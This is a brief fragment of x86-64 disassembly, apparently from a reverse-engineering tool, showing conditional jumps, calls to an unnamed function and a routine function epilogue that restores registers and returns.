jmp 0x14000e3a0
cmp qword [rbp - 0x10], 0x10
jb 0x14000e25e
mov rcx, qword [rbp - 0x28]
call fcn.140021190
jmp 0x14000e25e
cmp r10, 0x10
jb 0x14000e3a5
mov rcx, r9
call fcn.140021190
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop rdi
pop rbp
ret